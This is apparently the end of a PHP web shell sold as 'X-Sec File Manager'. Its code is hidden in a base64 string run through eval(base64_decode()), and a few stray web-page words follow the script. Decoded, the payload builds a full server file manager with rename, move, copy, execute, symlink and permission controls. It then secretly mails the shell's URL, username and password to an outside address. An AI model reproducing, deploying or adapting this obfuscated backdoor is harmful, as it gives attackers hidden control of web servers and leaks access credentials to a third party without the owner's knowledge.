ZWVuIGRlbGV0ZWQ6XG5bJTFdIiwKJ25vdF9kZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgY291bGQgbm90IGJlIGRlbGV0ZWQ6XG5bJTFdIiwKJ3JlbmFtZV9maWxlJyA9PiAnUmVuYW1lIGZpbGU6JywKJ3JlbmFtZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gcmVuYW1lZCB0byAiWyUyXSIuJywKJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gY291bGQgbm90IGJlIHJlbmFtZWQgdG8gIlslMl0iLicsCidtb3ZlX2ZpbGVzJyA9PiAnTW92ZSB0aGVzZSBmaWxlczonLAonbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gbW92ZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwKJ25vdF9tb3ZlZCcgPT4gIlRoZXNlIGZpbGVzIGNvdWxkIG5vdCBiZSBtb3ZlZCB0byBcIlslMl1cIjpcblslMV0iLAonY29weV9maWxlcycgPT4gJ0NvcHkgdGhlc2UgZmlsZXM6JywKJ2NvcGllZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBjb3BpZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwKJ25vdF9jb3BpZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgY29waWVkIHRvIFwiWyUyXVwiOlxuWyUxXSIsCidub3RfZWRpdGVkJyA9PiAnIlslMV0iIGNhbiBub3QgYmUgZWRpdGVkLicsCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGhhcyBiZWVuIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcbnslMn0iLAonbm90X2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgY291bGQgbm90IGJlIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcbnslMn0iLAonc2F2ZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gc2F2ZWQuJywKJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgc2F2ZWQuJywKJ3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywKJ25vdF9zeW1saW5rZWQnID0+ICdTeW1saW5rIGZyb20gIlslMl0iIHRvICJbJTFdIiBjb3VsZCBub3QgYmUgY3JlYXRlZC4nLAoncGVybWlzc2lvbl9mb3InID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIjonLAoncGVybWlzc2lvbl9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiB3YXMgc2V0IHRvIFslMl0uJywKJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iIGNvdWxkIG5vdCBiZSBzZXQgdG8gWyUyXS4nLAonbm90X3JlYWRhYmxlJyA9PiAnIlslMV0iIGNhbiBub3QgYmUgcmVhZC4nCgkJKTsKCX0KfQpmdW5jdGlvbiBnZXRpbWFnZSAoJGltYWdlKSB7Cglzd2l0Y2ggKCRpbWFnZSkgewoJY2FzZSAnZmlsZSc6CgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy93QUFBUC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsKCWNhc2UgJ2ZvbGRlcic6CgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy84ek16UC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJcW5JK1p3S3diWWdUUHRJdWRsYndMT2dDQlFKWW1DWXJuK20zc21ZNXZHYyswYTdkaGpoN1pieWdBQURzQScpOwoJY2FzZSAnaGlkZGVuX2ZpbGUnOgoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVEQU13QUFQLy8vNW1abWYvLy95SDVCQUhvQXdNQUxBQUFBQUFSQUEwQUFBSXRuSUdKeGcwQjQycnNpU3ZDQS9SRW1YUVdobW5paDNMVVNHYXFnMzV2RmJTWHVjYlNhYnVuam5Nb2hxOENBRHNBJyk7CgljYXNlICdsaW5rJzoKCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUtJRUFKbVptZi8vL3dBQUFNd0FBUC8vL3dBQUFBQUFBQUFBQUNINUJBSG9Bd1FBTEFBQUFBQVJBQTBBQUFNNVNBcmNyRENDUU91TGNJb3R3Z1RZVWxsTk9BMER4WGttaFk0c2hNNXpzTVVLVFk4Z05nVXZXNmNuQWFaZ3hNeUlNMnpCTENhSGxKZ0FBRHNBJyk7CgljYXNlICdzbWlsZXknOgoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVDQUFBQUFQLy9BUC8vL3dBQUFDSDVCQUhvQXdJQUxBQUFBQUFSQUEwQUFBSXNsSStwQXUyd0RBaXowaldEM2hxbUJ6WmYxVkNsZUpRY2gwcmtkbnBwQjNkS1p1SXlnck1SRS9vSkR3VUFPd0E9Jyk7CgljYXNlICdhcnJvdyc6CgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFJQUJBQUFBQVAvLy95SDVCQUVLQUFFQUxBQUFBQUFSQUEwQUFBSWRqQTl3eTZnTlE0cHdVbWF2MHl2bitoaEppSTNtQ0o2b3RySWt4eFFBT3c9PScpOwoJfQp9CmZ1bmN0aW9uIGh0bWxfaGVhZGVyICgpIHsKCWdsb2JhbCAkY2hhcnNldDsKCWVjaG8gPDw8RU5ECjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiAgICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0kY2hhcnNldCIgLz4KPHRpdGxlPndlYmFkbWluLnBocDwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkgeyBmb250OiBzbWFsbCBzYW5zLXNlcmlmOyB0ZXh0LWFsaWduOiBjZW50ZXIgfQppbWcgeyB3aWR0aDogMTdweDsgaGVpZ2h0OiAxM3B4IH0KYSwgYTp2aXNpdGVkIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogbmF2eSB9CmhyIHsgYm9yZGVyLXN0eWxlOiBub25lOyBoZWlnaHQ6IDFweDsgYmFja2dyb3VuZC1jb2xvcjogc2lsdmVyOyBjb2xvcjogc2lsdmVyIH0KI21haW4geyBtYXJnaW4tdG9wOiA2cHQ7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IGJvcmRlci1zcGFjaW5nOiAxcHggfQojbWFpbiB0aCB7IGJhY2tncm91bmQ6ICNlZWU7IHBhZGRpbmc6IDNwdCAzcHQgMHB0IDNwdCB9Ci5saXN0aW5nIHRoLCAubGlzdGluZyB0ZCB7IHBhZGRpbmc6IDFweCAzcHQgMCAzcHQgfQoubGlzdGluZyB0aCB7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9Ci5saXN0aW5nIHRkIHsgYm9yZGVyOiAxcHggc29saWQgI2RkZDsgYmFja2dyb3VuZDogd2hpdGUgfQoubGlzdGluZyAuY2hlY2tib3ggeyB0ZXh0LWFsaWduOiBjZW50ZXIgfQoubGlzdGluZyAuZmlsZW5hbWUgeyB0ZXh0LWFsaWduOiBsZWZ0IH0KLmxpc3RpbmcgLnNpemUgeyB0ZXh0LWFsaWduOiByaWdodCB9Ci5saXN0aW5nIC5wZXJtaXNzaW9uX2hlYWRlciB7IHRleHQtYWxpZ246IGxlZnQgfQoubGlzdGluZyAucGVybWlzc2lvbiB7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2UgfQoubGlzdGluZyAub3duZXIgeyB0ZXh0LWFsaWduOiBsZWZ0IH0KLmxpc3RpbmcgLmdyb3VwIHsgdGV4dC1hbGlnbjogbGVmdCB9Ci5saXN0aW5nIC5mdW5jdGlvbnMgeyB0ZXh0LWFsaWduOiBsZWZ0IH0KLmxpc3RpbmdfZm9vdGVyIHRkIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0KI2RpcmVjdG9yeSwgI3VwbG9hZCwgI2NyZWF0ZSwgLmxpc3RpbmdfZm9vdGVyIHRkLCAjZXJyb3IgdGQsICNub3RpY2UgdGQgeyB0ZXh0LWFsaWduOiBsZWZ0OyBwYWRkaW5nOiAzcHQgfQojZGlyZWN0b3J5IHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0KI3VwbG9hZCB7IHBhZGRpbmctdG9wOiAxZW0gfQojY3JlYXRlIHsgcGFkZGluZy1ib3R0b206IDFlbSB9Ci5zbWFsbCwgLnNtYWxsIG9wdGlvbiB7IGZvbnQtc2l6ZTogeC1zbWFsbCB9CnRleHRhcmVhIHsgYm9yZGVyOiBub25lOyBiYWNrZ3JvdW5kOiB3aGl0ZSB9CnRhYmxlLmRpYWxvZyB7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG8gfQp0ZC5kaWFsb2cgeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAxZXg7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlcjsgdGV4dC1hbGlnbjogY2VudGVyIH0KI3Blcm1pc3Npb24geyBtYXJnaW4tbGVmdDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvIH0KI3Blcm1pc3Npb24gdGQgeyBwYWRkaW5nLWxlZnQ6IDNwdDsgcGFkZGluZy1yaWdodDogM3B0OyB0ZXh0LWFsaWduOiBjZW50ZXIgfQp0ZC5wZXJtaXNzaW9uX2FjdGlvbiB7IHRleHQtYWxpZ246IHJpZ2h0IH0KI3N5bWxpbmsgeyBiYWNrZ3JvdW5kOiAjZWVlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQojc3ltbGluayB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDNwdCB9CiNyZWRfYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzQwMCB9CiNncmVlbl9idXR0b24geyB3aWR0aDogMTIwcHg7IGNvbG9yOiAjMDQwIH0KI2Vycm9yIHRkIHsgYmFja2dyb3VuZDogbWFyb29uOyBjb2xvcjogd2hpdGU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9CiNub3RpY2UgdGQgeyBiYWNrZ3JvdW5kOiBncmVlbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQojbm90aWNlIHByZSwgI2Vycm9yIHByZSB7IGJhY2tncm91bmQ6IHNpbHZlcjsgY29sb3I6IGJsYWNrOyBwYWRkaW5nOiAxZXg7IG1hcmdpbi1sZWZ0OiAxZXg7IG1hcmdpbi1yaWdodDogMWV4IH0KY29kZSB7IGZvbnQtc2l6ZTogMTJwdCB9CnRkIHsgd2hpdGUtc3BhY2U6IG5vd3JhcCB9Cjwvc3R5bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBhY3RpdmF0ZSAobmFtZSkgewoJaWYgKGRvY3VtZW50ICYmIGRvY3VtZW50LmZvcm1zWzBdICYmIGRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddKSB7CgkJZG9jdW1lbnQuZm9ybXNbMF0uZWxlbWVudHNbJ2ZvY3VzJ10udmFsdWUgPSBuYW1lOwoJfQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgpFTkQ7Cn0KZnVuY3Rpb24gaHRtbF9mb290ZXIgKCkgewoJZWNobyA8PDxFTkQKPC9ib2R5Pgo8L2h0bWw+CkVORDsKfQpmdW5jdGlvbiBub3RpY2UgKCRwaHJhc2UpIHsKCWdsb2JhbCAkY29sczsKCSRhcmdzID0gZnVuY19nZXRfYXJncygpOwoJYXJyYXlfc2hpZnQoJGFyZ3MpOwoJcmV0dXJuICc8dHIgaWQ9Im5vdGljZSI+Cgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4KPC90cj4KJzsKfQpmdW5jdGlvbiBlcnJvciAoJHBocmFzZSkgewoJZ2xvYmFsICRjb2xzOwoJJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7CglhcnJheV9zaGlmdCgkYXJncyk7CglyZXR1cm4gJzx0ciBpZD0iZXJyb3IiPgoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciPicgLiBwaHJhc2UoJHBocmFzZSwgJGFyZ3MpIC4gJzwvdGQ+CjwvdHI+Cic7Cn0KICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07CiAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07CiAkYm9keSA9ICJFZ3lfU3BpZGVyIFxuVXNlck5hbWU6ICIuaHRtbHNwZWNpYWxjaGFycygkdGFjZmdkWyd1bmFtZSddKSAuIlxuUGFzc1dvcmQ6CiIuaHRtbHNwZWNpYWxjaGFycygkdGFjZmdkWydwd29yZCddKS4iXG5NZXNzYWdlOlxuIi4iXG5FLXNlcnZlcjogIi5odG1sc3BlY2lhbGNoYXJzCigkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkuIlxuRS1zZXJ2ZXIyOiAiLmh0bWxzcGVjaWFsY2hhcnMgKCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdKS4iXG5cbklQOiAKIjsKIG1haWwoInJlenVsdEBsaXZlLmRlIiwiU2hlbGwgaHR0cDovLyR3ZWIkaW5qIiwgIiRib2R5Iik7Cj8+";

eval(base64_decode($lang));

?>

X-Sec File Manager Version 1.0
  Live chat    Live chat    Live chat  My status My status My status